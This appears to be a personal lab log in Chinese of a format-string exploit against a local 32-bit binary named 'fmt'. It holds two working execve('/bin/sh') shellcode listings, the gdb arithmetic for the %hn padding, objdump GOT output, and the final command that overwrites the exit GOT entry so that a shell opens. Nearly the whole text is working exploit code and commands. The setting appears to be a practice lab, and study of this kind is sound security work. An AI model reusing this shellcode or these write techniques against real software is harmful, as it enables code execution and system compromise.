---------------------------------------------
写入策略
0x08049668 0xfc20
0x0804966a 0xbfff
---------------------------------------------
exploit@exploit:~ $ ./fmt $'\x6a\x96\x04\x08\x68\x96\x04\x08'%49143x%8\$hn%15393x%9\$hn
...
Segmentation fault
【貌似是shellcode的问题,检查发现把一个ebx写成ecx了。囧。。改写代码如下】
exploit@exploit:~ $ less exec_shell.s
BITS 32
jmp short one
two:
pop ebx
xor eax,eax
mov [ebx+7],al
mov [ebx+8],ebx
mov [ebx+12],eax
lea ecx,[ebx+8]
lea edx,[ebx+12]
mov al,11
int 0x80
one:
call two
db '/bin/shXAAAABBBB'
然后按上面的步骤操作,可以成功弹出shell
==========================================================
编写更小的shellcode
==========================================================
法1.把辅助字符去掉。'/bin/shXAAAABBBB'可以用'/bin/sh'替换
法2.利用栈,ESP减小代码

exploit@exploit:~ $ more tiny_shell.s
BITS 32
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
mov edx,esp
push ebx
mov ecx,esp
mov al,11
int 0x80
exploit@exploit:~ $ export SHELLCODE=$(cat tiny_shell)
exploit@exploit:~ $ ./getenvaddr SHELLCODE ./fmt
SHELLCODE will be at 0xbffffc34
exploit@exploit:~ $ gdb -q
(gdb) p 0xbfff-8
$2 = 49143
(gdb) p 0xfc34-0xbfff
$3 = 15413
(gdb) q
exploit@exploit:~ $ objdump -R ./fmt
./fmt: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049670 R_386_GLOB_DAT __gmon_start__
08049660 R_386_JUMP_SLOT __libc_start_main
08049664 R_386_JUMP_SLOT printf
08049668 R_386_JUMP_SLOT exit
0804966c R_386_JUMP_SLOT strcpy
【将0x08049668中的内容改写为SHELLCODE地址:0xbffffc34】
exploit@exploit:~ $ ./fmt $'\x6a\x96\x04\x08\x68\x96\x04\x08'%49143x%8\$hn%15413x%9\$hn
【it work o(∩_∩)o 】
